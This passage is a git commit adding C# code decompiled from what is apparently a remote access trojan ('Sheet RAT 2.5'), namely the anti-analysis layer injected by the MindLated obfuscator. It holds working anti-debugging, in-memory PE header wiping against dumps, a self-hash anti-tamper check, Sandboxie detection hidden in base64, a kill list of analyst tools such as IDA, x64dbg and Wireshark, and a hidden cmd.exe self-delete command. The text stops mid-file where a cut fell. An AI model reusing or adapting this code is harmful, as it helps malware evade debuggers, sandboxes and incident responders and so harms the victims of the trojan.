initial commit

This commit is contained in:
i2p
2026-08-27 11:23:25 -06:00
commit faef36ee57
588 changed files with 40547 additions and 0 deletions
@@ -0,0 +1,33 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.AntiDe4dot
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using System.Collections.Generic;
//#nullable disable
namespace MindLated.Protection.Anti {
internal class AntiDe4dot
{
public static void Execute(AssemblyDef mod)
{
foreach (ModuleDef module in (IEnumerable<ModuleDef>) mod.Modules)
{
InterfaceImplUser interfaceImplUser1 = new InterfaceImplUser((ITypeDefOrRef) module.GlobalType);
for (int index = 0; index < 1; ++index)
{
TypeDefUser @interface = new TypeDefUser((UTF8String) string.Empty, (UTF8String) string.Format("Form{0}", index), (ITypeDefOrRef) module.CorLibTypes.GetTypeRef("System", "Attribute"));
InterfaceImplUser interfaceImplUser2 = new InterfaceImplUser((ITypeDefOrRef) @interface);
module.Types.Add((TypeDef) @interface);
@interface.Interfaces.Add((InterfaceImpl) interfaceImplUser2);
@interface.Interfaces.Add((InterfaceImpl) interfaceImplUser1);
}
}
}
}
}
@@ -0,0 +1,38 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.AntiDebug
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Anti.Runtime;
using MindLated.Services;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.Anti {
public static class AntiDebug
{
public static void Execute(ModuleDef module)
{
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (AntiDebugSafe).Module);
MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor();
int rid = (int) MDToken.ToRID(typeof (AntiDebugSafe).MetadataToken);
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Initialize"));
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
foreach (MethodDef method in (IEnumerable<MethodDef>) module.GlobalType.Methods)
{
if (!(method.Name != ".ctor"))
{
module.GlobalType.Remove(method);
break;
}
}
}
}
}
@@ -0,0 +1,38 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.AntiDump
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Anti.Runtime;
using MindLated.Services;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.Anti {
internal class AntiDump
{
public static void Execute(ModuleDef mod)
{
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (AntiDumpRun).Module);
MethodDef staticConstructor = mod.GlobalType.FindOrCreateStaticConstructor();
int rid = (int) MDToken.ToRID(typeof (AntiDumpRun).MetadataToken);
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), mod.GlobalType, mod).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Initialize"));
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
foreach (MethodDef method in (IEnumerable<MethodDef>) mod.GlobalType.Methods)
{
if (!(method.Name != ".ctor"))
{
mod.GlobalType.Remove(method);
break;
}
}
}
}
}
@@ -0,0 +1,47 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.AntiTamper
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Anti.Runtime;
using MindLated.Services;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.IO;
using System.Linq;
using System.Security.Cryptography;
//#nullable disable
namespace MindLated.Protection.Anti {
public static class AntiTamper
{
public static void Sha256(string filePath)
{
byte[] hash = SHA256.Create().ComputeHash(File.ReadAllBytes(filePath));
using (FileStream fileStream = new FileStream(filePath, FileMode.Append))
fileStream.Write(hash, 0, hash.Length);
}
public static void Execute(ModuleDef module)
{
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (EofAntiTamper).Module);
MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor();
int rid = (int) MDToken.ToRID(typeof (EofAntiTamper).MetadataToken);
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Initializer"));
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
foreach (MethodDef method in (IEnumerable<MethodDef>) module.GlobalType.Methods)
{
if (!(method.Name != ".ctor"))
{
module.GlobalType.Remove(method);
break;
}
}
}
}
}
@@ -0,0 +1,38 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Antimanything
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Anti.Runtime;
using MindLated.Services;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Linq;
//#nullable disable
namespace MindLated.Protection.Anti {
internal class Antimanything
{
public static void Execute(ModuleDef module)
{
ModuleDefMD moduleDefMd = ModuleDefMD.Load(typeof (SelfDeleteClass).Module);
MethodDef staticConstructor = module.GlobalType.FindOrCreateStaticConstructor();
int rid = (int) MDToken.ToRID(typeof (SelfDeleteClass).MetadataToken);
MethodDef methodDef = (MethodDef) InjectHelper.Inject(moduleDefMd.ResolveTypeDef((uint) rid), module.GlobalType, module).Single<IDnlibDef>((Func<IDnlibDef, bool>) (method => method.Name == "Init"));
staticConstructor.Body.Instructions.Insert(0, Instruction.Create(OpCodes.Call, (IMethod) methodDef));
foreach (MethodDef method in (IEnumerable<MethodDef>) module.GlobalType.Methods)
{
if (!(method.Name != ".ctor"))
{
module.GlobalType.Remove(method);
break;
}
}
}
}
}
@@ -0,0 +1,64 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.AntiDebugSafe
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
using System.Diagnostics;
using System.Runtime.InteropServices;
//#nullable disable
namespace MindLated.Protection.Anti.Runtime {
internal static class AntiDebugSafe
{
[DllImport("ntdll.dll", CharSet = CharSet.Auto)]
private static extern int NtQueryInformationProcess(
IntPtr test,
int test2,
int[] test3,
int test4,
ref int test5);
private static void Initialize()
{
if (Debugger.IsLogging())
Environment.Exit(0);
if (Debugger.IsAttached)
Environment.Exit(0);
if (Environment.GetEnvironmentVariable("complus_profapi_profilercompatibilitysetting") != null)
Environment.Exit(0);
if (string.Compare(Environment.GetEnvironmentVariable("COR_ENABLE_PROFILING"), "1", StringComparison.Ordinal) == 0)
Environment.Exit(0);
if (Environment.OSVersion.Platform != PlatformID.Win32NT)
return;
int[] test3 = new int[6];
int test5 = 0;
IntPtr handle = Process.GetCurrentProcess().Handle;
if (AntiDebugSafe.NtQueryInformationProcess(handle, 31 /*0x1F*/, test3, 4, ref test5) == 0 && test3[0] != 1)
Environment.Exit(0);
if (AntiDebugSafe.NtQueryInformationProcess(handle, 30, test3, 4, ref test5) == 0 && test3[0] != 0)
Environment.Exit(0);
if (AntiDebugSafe.NtQueryInformationProcess(handle, 0, test3, 24, ref test5) != 0)
return;
IntPtr ptr1 = Marshal.ReadIntPtr(Marshal.ReadIntPtr((IntPtr) test3[1], 12), 12);
Marshal.WriteInt32(ptr1, 32 /*0x20*/, 0);
IntPtr num1 = Marshal.ReadIntPtr(ptr1, 0);
IntPtr ptr2 = num1;
do
{
ptr2 = Marshal.ReadIntPtr(ptr2, 0);
if (Marshal.ReadInt32(ptr2, 44) == 1572886 && Marshal.ReadInt32(Marshal.ReadIntPtr(ptr2, 48 /*0x30*/), 0) == 7536749)
{
IntPtr num2 = Marshal.ReadIntPtr(ptr2, 8);
IntPtr num3 = Marshal.ReadIntPtr(ptr2, 12);
Marshal.WriteInt32(num3, 0, (int) num2);
Marshal.WriteInt32(num2, 4, (int) num3);
}
}
while (!ptr2.Equals((object) num1));
}
}
}
@@ -0,0 +1,257 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.AntiDumpRun
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
using System.Reflection;
using System.Runtime.InteropServices;
//#nullable disable
namespace MindLated.Protection.Anti.Runtime {
internal class AntiDumpRun
{
private static unsafe void CopyBlock(void* destination, void* source, uint byteCount)
{
}
private static unsafe void InitBlock(void* startAddress, byte value, uint byteCount)
{
}
[DllImport("kernel32.dll")]
[return: MarshalAs(UnmanagedType.Bool)]
private static extern bool VirtualProtect(
IntPtr lpAddress,
uint dwSize,
[MarshalAs(UnmanagedType.U4)] AntiDumpRun.MemoryProtection flNewProtect,
[MarshalAs(UnmanagedType.U4)] out AntiDumpRun.MemoryProtection lpflOldProtect);
private static unsafe void Initialize()
{
Module module = typeof (AntiDumpRun).Module;
byte* hinstance = (byte*) (void*) Marshal.GetHINSTANCE(module);
byte* numPtr1 = hinstance + 60;
byte* numPtr2 = hinstance + *(uint*) numPtr1 + 6;
ushort length = *(ushort*) numPtr2;
byte* numPtr3 = numPtr2 + 14;
ushort num1 = *(ushort*) numPtr3;
byte* numPtr4 = numPtr3 + 4 + (int) num1;
byte* source = stackalloc byte[11];
if (module.FullyQualifiedName[0] != '<')
{
byte* startAddress = hinstance + *(uint*) (numPtr4 - 16 /*0x10*/);
AntiDumpRun.MemoryProtection lpflOldProtect;
if (*(uint*) (numPtr4 - 120) != 0U)
{
byte* numPtr5 = hinstance + *(uint*) (numPtr4 - 120);
byte* numPtr6 = hinstance + *(uint*) numPtr5;
byte* destination1 = hinstance + *(uint*) (numPtr5 + 12);
byte* destination2 = hinstance + *(uint*) numPtr6 + 2;
AntiDumpRun.VirtualProtect(new IntPtr((void*) destination1), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) source = 1818522734;
*(int*) (source + 4) = 1818504812;
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
*(short*) (source + 8) = (short) 108;
source[10] = (byte) 0;
AntiDumpRun.CopyBlock((void*) destination1, (void*) source, 11U);
AntiDumpRun.VirtualProtect(new IntPtr((void*) destination2), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) source = 1866691662;
*(int*) (source + 4) = 1852404846;
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
*(short*) (source + 8) = (short) 25973;
source[10] = (byte) 0;
AntiDumpRun.CopyBlock((void*) destination2, (void*) source, 11U);
}
for (int index = 0; index < (int) length; ++index)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
AntiDumpRun.InitBlock((void*) numPtr4, (byte) 0, 8U);
numPtr4 += 40;
}
AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
byte* numPtr7 = hinstance + *(uint*) (startAddress + 8);
AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr7), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) numPtr7 = 0;
byte* numPtr8 = numPtr7 + 12;
byte* numPtr9 = (byte*) ((ulong) (numPtr8 + *(uint*) numPtr8) + 7UL & 18446744073709551612UL) + 2;
ushort num2 = (ushort) *numPtr9;
byte* numPtr10 = numPtr9 + 2;
for (int index1 = 0; index1 < (int) num2; ++index1)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
numPtr10 = numPtr10 + 4 + 4;
for (int index2 = 0; index2 < 8; ++index2)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr10), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*numPtr10 = (byte) 0;
byte* numPtr11 = numPtr10 + 1;
if (*numPtr11 == (byte) 0)
{
numPtr10 = numPtr11 + 3;
break;
}
*numPtr11 = (byte) 0;
byte* numPtr12 = numPtr11 + 1;
if (*numPtr12 == (byte) 0)
{
numPtr10 = numPtr12 + 2;
break;
}
*numPtr12 = (byte) 0;
byte* numPtr13 = numPtr12 + 1;
if (*numPtr13 == (byte) 0)
{
numPtr10 = numPtr13 + 1;
break;
}
*numPtr13 = (byte) 0;
numPtr10 = numPtr13 + 1;
}
}
}
else
{
uint num3 = *(uint*) (numPtr4 - 16 /*0x10*/);
uint num4 = *(uint*) (numPtr4 - 120);
uint[] numArray1 = new uint[(int) length];
uint[] numArray2 = new uint[(int) length];
uint[] numArray3 = new uint[(int) length];
AntiDumpRun.MemoryProtection lpflOldProtect;
for (int index = 0; index < (int) length; ++index)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr4), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
Marshal.Copy(new byte[8], 0, (IntPtr) (void*) numPtr4, 8);
numArray1[index] = *(uint*) (numPtr4 + 12);
numArray2[index] = *(uint*) (numPtr4 + 8);
numArray3[index] = *(uint*) (numPtr4 + 20);
numPtr4 += 40;
}
if (num4 != 0U)
{
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num4 && num4 < numArray1[index] + numArray2[index])
{
num4 = num4 - numArray1[index] + numArray3[index];
break;
}
}
byte* numPtr14 = hinstance + num4;
uint num5 = *(uint*) numPtr14;
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num5 && num5 < numArray1[index] + numArray2[index])
{
num5 = num5 - numArray1[index] + numArray3[index];
break;
}
}
byte* numPtr15 = hinstance + num5;
uint num6 = *(uint*) (numPtr14 + 12);
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num6 && num6 < numArray1[index] + numArray2[index])
{
num6 = num6 - numArray1[index] + numArray3[index];
break;
}
}
uint num7 = *(uint*) numPtr15 + 2U;
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num7 && num7 < numArray1[index] + numArray2[index])
{
num7 = num7 - numArray1[index] + numArray3[index];
break;
}
}
AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num6)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) source = 1818522734;
*(int*) (source + 4) = 1818504812;
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 108;
*(short*) (source + 8) = (short) 108;
source[10] = (byte) 0;
AntiDumpRun.CopyBlock((void*) (hinstance + num6), (void*) source, 11U);
AntiDumpRun.VirtualProtect(new IntPtr((void*) (hinstance + num7)), 11U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) source = 1866691662;
*(int*) (source + 4) = 1852404846;
// *(short*) (source + (new IntPtr(4) * 2).ToInt64()) = (short) 25973;
*(short*) (source + 8) = (short) 25973;
source[10] = (byte) 0;
AntiDumpRun.CopyBlock((void*) (hinstance + num7), (void*) source, 11U);
}
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num3 && num3 < numArray1[index] + numArray2[index])
{
num3 = num3 - numArray1[index] + numArray3[index];
break;
}
}
byte* startAddress = hinstance + num3;
AntiDumpRun.VirtualProtect(new IntPtr((void*) startAddress), 72U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
uint num8 = *(uint*) (startAddress + 8);
for (int index = 0; index < (int) length; ++index)
{
if (numArray1[index] <= num8 && num8 < numArray1[index] + numArray2[index])
{
num8 = num8 - numArray1[index] + numArray3[index];
break;
}
}
AntiDumpRun.InitBlock((void*) startAddress, (byte) 0, 16U /*0x10*/);
byte* numPtr16 = hinstance + num8;
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr16), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*(int*) numPtr16 = 0;
byte* numPtr17 = numPtr16 + 12;
byte* numPtr18 = (byte*) ((ulong) (numPtr17 + *(uint*) numPtr17) + 7UL & 18446744073709551612UL) + 2;
ushort num9 = (ushort) *numPtr18;
byte* numPtr19 = numPtr18 + 2;
for (int index3 = 0; index3 < (int) num9; ++index3)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 8U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
numPtr19 = numPtr19 + 4 + 4;
for (int index4 = 0; index4 < 8; ++index4)
{
AntiDumpRun.VirtualProtect(new IntPtr((void*) numPtr19), 4U, AntiDumpRun.MemoryProtection.ExecuteReadWrite, out lpflOldProtect);
*numPtr19 = (byte) 0;
byte* numPtr20 = numPtr19 + 1;
if (*numPtr20 == (byte) 0)
{
numPtr19 = numPtr20 + 3;
break;
}
*numPtr20 = (byte) 0;
byte* numPtr21 = numPtr20 + 1;
if (*numPtr21 == (byte) 0)
{
numPtr19 = numPtr21 + 2;
break;
}
*numPtr21 = (byte) 0;
byte* numPtr22 = numPtr21 + 1;
if (*numPtr22 == (byte) 0)
{
numPtr19 = numPtr22 + 1;
break;
}
*numPtr22 = (byte) 0;
numPtr19 = numPtr22 + 1;
}
}
}
}
internal enum MemoryProtection
{
ExecuteReadWrite = 64, // 0x00000040
}
}
}
@@ -0,0 +1,36 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.EofAntiTamper
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Security.Cryptography;
//#nullable disable
namespace MindLated.Protection.Anti.Runtime {
internal class EofAntiTamper
{
private static void Initializer()
{
string location = Assembly.GetExecutingAssembly().Location;
Stream baseStream = new StreamReader(location).BaseStream;
BinaryReader binaryReader = new BinaryReader(baseStream);
string str1 = BitConverter.ToString(SHA256.Create().ComputeHash(binaryReader.ReadBytes(File.ReadAllBytes(location).Length - 32 /*0x20*/)));
baseStream.Seek(-32L, SeekOrigin.End);
string str2 = BitConverter.ToString(binaryReader.ReadBytes(32 /*0x20*/));
if (!(str1 != str2))
return;
Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
{
WindowStyle = ProcessWindowStyle.Hidden
})?.Dispose();
Process.GetCurrentProcess().Kill();
}
}
}
@@ -0,0 +1,136 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Anti.Runtime.SelfDeleteClass
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
using System.Collections;
using System.Diagnostics;
using System.IO;
using System.Reflection;
using System.Text;
//#nullable disable
namespace MindLated.Protection.Anti.Runtime {
internal class SelfDeleteClass
{
public static void Init()
{
if (SelfDeleteClass.IsSandboxie())
SelfDeleteClass.SelfDelete();
if (SelfDeleteClass.IsDebugger())
SelfDeleteClass.SelfDelete();
if (!SelfDeleteClass.IsdnSpyRun())
return;
SelfDeleteClass.SelfDelete();
}
private static bool IsSandboxie() => SelfDeleteClass.IsDetected();
private static bool IsDebugger() => SelfDeleteClass.Run();
private static bool IsdnSpyRun() => SelfDeleteClass.ValueType();
private static void SelfDelete()
{
Process.Start(new ProcessStartInfo("cmd.exe", $"/C ping 1.1.1.1 -n 1 -w 3000 > Nul & Del \"{Assembly.GetExecutingAssembly().Location}\"")
{
WindowStyle = ProcessWindowStyle.Hidden
})?.Dispose();
Process.GetCurrentProcess().Kill();
}
private static bool ValueType()
{
return File.Exists(Environment.ExpandEnvironmentVariables("%appdata%") + "\\dnSpy\\dnSpy.xml");
}
private static IntPtr GetModuleHandle(string libName)
{
foreach (ProcessModule module in (ReadOnlyCollectionBase) Process.GetCurrentProcess().Modules)
{
if (module.ModuleName.ToLower().Contains(libName.ToLower()))
return module.BaseAddress;
}
return IntPtr.Zero;
}
private static bool IsDetected()
{
return SelfDeleteClass.GetModuleHandle(Encoding.UTF8.GetString(Convert.FromBase64String("U2JpZURsbC5kbGw="))) != IntPtr.Zero;
}
private static bool Run()
{
bool flag = false;
if (Debugger.IsAttached || Debugger.IsLogging())
{
flag = true;
}
else
{
string[] strArray = new string[41]
{
"codecracker",
"x32dbg",
"x64dbg",
"ollydbg",
"ida",
"charles",
"dnspy",
"simpleassembly",
"peek",
"httpanalyzer",
"httpdebug",
"fiddler",
"wireshark",
"dbx",
"mdbg",
"gdb",
"windbg",
"dbgclr",
"kdb",
"kgdb",
"mdb",
"processhacker",
"scylla_x86",
"scylla_x64",
"scylla",
"idau64",
"idau",
"idaq",
"idaq64",
"idaw",
"idaw64",
"idag",
"idag64",
"ida64",
"ida",
"ImportREC",
"IMMUNITYDEBUGGER",
"MegaDumper",
"CodeBrowser",
"reshacker",
"cheat engine"
};
foreach (Process process in Process.GetProcesses())
{
if (process != Process.GetCurrentProcess())
{
for (int index = 0; index < strArray.Length; ++index)
{
if (process.ProcessName.ToLower().Contains(strArray[index]))
flag = true;
if (process.MainWindowTitle.ToLower().Contains(strArray[index]))
flag = true;
}
}
}
}
return flag;
}
}
}
@@ -0,0 +1,117 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.Arithmetic
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using dnlib.DotNet;
using dnlib.DotNet.Emit;
using MindLated.Protection.Arithmetic.Functions;
using MindLated.Protection.Arithmetic.Functions.Maths;
using MindLated.Protection.Arithmetic.Utils;
using System;
using System.Windows.Forms;
using System.Collections.Generic;
using System.Reflection;
//#nullable disable
namespace MindLated.Protection.Arithmetic {
public static class Arithmetic
{
private static ModuleDef _moduleDef1;
public static readonly List<Function> Tasks = new List<Function>()
{
(Function) new Add(),
(Function) new Sub(),
(Function) new Div(),
(Function) new Mul(),
(Function) new Xor(),
(Function) new Abs(),
(Function) new Log(),
(Function) new Log10(),
(Function) new Sin(),
(Function) new Cos(),
(Function) new Floor(),
(Function) new Round(),
(Function) new Tan(),
(Function) new Tanh(),
(Function) new Sqrt(),
(Function) new Ceiling(),
(Function) new Truncate()
};
public static void Execute(ModuleDef module)
{
MindLated.Protection.Arithmetic.Arithmetic._moduleDef1 = module;
MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator();
foreach (TypeDef type in (IEnumerable<TypeDef>) module.Types)
{
foreach (MethodDef method in (IEnumerable<MethodDef>) type.Methods)
{
if (method.HasBody && !method.DeclaringType.IsGlobalModuleType)
{
for (int index = 0; index < method.Body.Instructions.Count; ++index)
{
if (ArithmeticUtils.CheckArithmetic(method.Body.Instructions[index]))
{
if (method.Body.Instructions[index].GetLdcI4Value() < 0)
{
List<Instruction> body = MindLated.Protection.Arithmetic.Arithmetic.GenerateBody(MindLated.Protection.Arithmetic.Arithmetic.Tasks[generator.Next(5)].Arithmetic(method.Body.Instructions[index], module));
method.Body.Instructions[index].OpCode = OpCodes.Nop;
foreach (Instruction instruction in body)
{
method.Body.Instructions.Insert(index + 1, instruction);
++index;
}
}
else
{
List<Instruction> body = MindLated.Protection.Arithmetic.Arithmetic.GenerateBody(MindLated.Protection.Arithmetic.Arithmetic.Tasks[generator.Next(MindLated.Protection.Arithmetic.Arithmetic.Tasks.Count)].Arithmetic(method.Body.Instructions[index], module));
method.Body.Instructions[index].OpCode = OpCodes.Nop;
foreach (Instruction instruction in body)
{
method.Body.Instructions.Insert(index + 1, instruction);
++index;
}
}
}
}
}
}
}
}
public static List<Instruction> GenerateBody(ArithmeticVt arithmeticVTs)
{
List<Instruction> body = new List<Instruction>();
if (MindLated.Protection.Arithmetic.Arithmetic.IsArithmetic(arithmeticVTs.GetArithmetic()))
{
body.Add(new Instruction(OpCodes.Ldc_R8, (object) arithmeticVTs.GetValue().GetX()));
body.Add(new Instruction(OpCodes.Ldc_R8, (object) arithmeticVTs.GetValue().GetY()));
if (arithmeticVTs.GetToken().GetOperand() != null)
body.Add(new Instruction(OpCodes.Call, arithmeticVTs.GetToken().GetOperand()));
body.Add(new Instruction(arithmeticVTs.GetToken().GetOpCode()));
body.Add(new Instruction(OpCodes.Call, (object) MindLated.Protection.Arithmetic.Arithmetic._moduleDef1.Import((MethodBase) typeof (Convert).GetMethod("ToInt32", new Type[1]
{
typeof (double)
}))));
}
else if (MindLated.Protection.Arithmetic.Arithmetic.IsXor(arithmeticVTs.GetArithmetic()))
{
body.Add(new Instruction(OpCodes.Ldc_I4, (object) (int) arithmeticVTs.GetValue().GetX()));
body.Add(new Instruction(OpCodes.Ldc_I4, (object) (int) arithmeticVTs.GetValue().GetY()));
body.Add(new Instruction(arithmeticVTs.GetToken().GetOpCode()));
body.Add(new Instruction(OpCodes.Conv_I4));
}
return body;
}
private static bool IsArithmetic(ArithmeticTypes arithmetic)
{
return arithmetic == ArithmeticTypes.Add || arithmetic == ArithmeticTypes.Sub || arithmetic == ArithmeticTypes.Div || arithmetic == ArithmeticTypes.Mul || arithmetic == ArithmeticTypes.Abs || arithmetic == ArithmeticTypes.Log || arithmetic == ArithmeticTypes.Log10 || arithmetic == ArithmeticTypes.Truncate || arithmetic == ArithmeticTypes.Sin || arithmetic == ArithmeticTypes.Cos || arithmetic == ArithmeticTypes.Floor || arithmetic == ArithmeticTypes.Round || arithmetic == ArithmeticTypes.Tan || arithmetic == ArithmeticTypes.Tanh || arithmetic == ArithmeticTypes.Sqrt || arithmetic == ArithmeticTypes.Ceiling;
}
private static bool IsXor(ArithmeticTypes arithmetic) => arithmetic == ArithmeticTypes.Xor;
}
}
@@ -0,0 +1,133 @@
// Decompiled with JetBrains decompiler
// Type: MindLated.Protection.Arithmetic.ArithmeticEmulator
// Assembly: Server, Version=1.0.0.0, Culture=neutral, PublicKeyToken=null
// MVID: 33673F0A-7F43-4A2B-BC08-8E59A15CB7DA
// Assembly location: C:\Users\Admin\Desktop\Sheet RAT 2.5\Server.exe
using System;
using System.Windows.Forms;
using System.Collections.Generic;
//#nullable disable
namespace MindLated.Protection.Arithmetic {
public class ArithmeticEmulator
{
private readonly double _x;
private readonly double _y;
private readonly ArithmeticTypes _arithmeticTypes;
public ArithmeticTypes GetType { get; private set; }
public ArithmeticEmulator(double x, double y, ArithmeticTypes arithmeticTypes)
{
this._x = x;
this._y = y;
this._arithmeticTypes = arithmeticTypes;
}
public double GetValue()
{
switch (this._arithmeticTypes)
{
case ArithmeticTypes.Add:
return this._x - this._y;
case ArithmeticTypes.Sub:
return this._x + this._y;
case ArithmeticTypes.Div:
return this._x * this._y;
case ArithmeticTypes.Mul:
return this._x / this._y;
case ArithmeticTypes.Xor:
return (double) ((int) this._x ^ (int) this._y);
default:
return -1.0;
}
}
public double GetValue(List<ArithmeticTypes> arithmetics)
{
MindLated.Protection.Arithmetic.Generator.Generator generator = new MindLated.Protection.Arithmetic.Generator.Generator();
ArithmeticTypes arithmetic = arithmetics[generator.Next(arithmetics.Count)];
this.GetType = arithmetic;
switch (this._arithmeticTypes)
{
case ArithmeticTypes.Abs:
if (arithmetic == ArithmeticTypes.Add)
return this._x + Math.Abs(this._y) * -1.0;
if (arithmetic == ArithmeticTypes.Sub)
return this._x - Math.Abs(this._y) * -1.0;
break;
case ArithmeticTypes.Log:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Log(this._y);
if (arithmetic == ArithmeticTypes.Sub)
return this._x + Math.Log(this._y);
break;
case ArithmeticTypes.Log10:
if (arithmetic == ArithmeticTypes.Add)
return this._x - Math.Log10(this._y);
if (arithmetic == ArithmeticTypes.Sub)
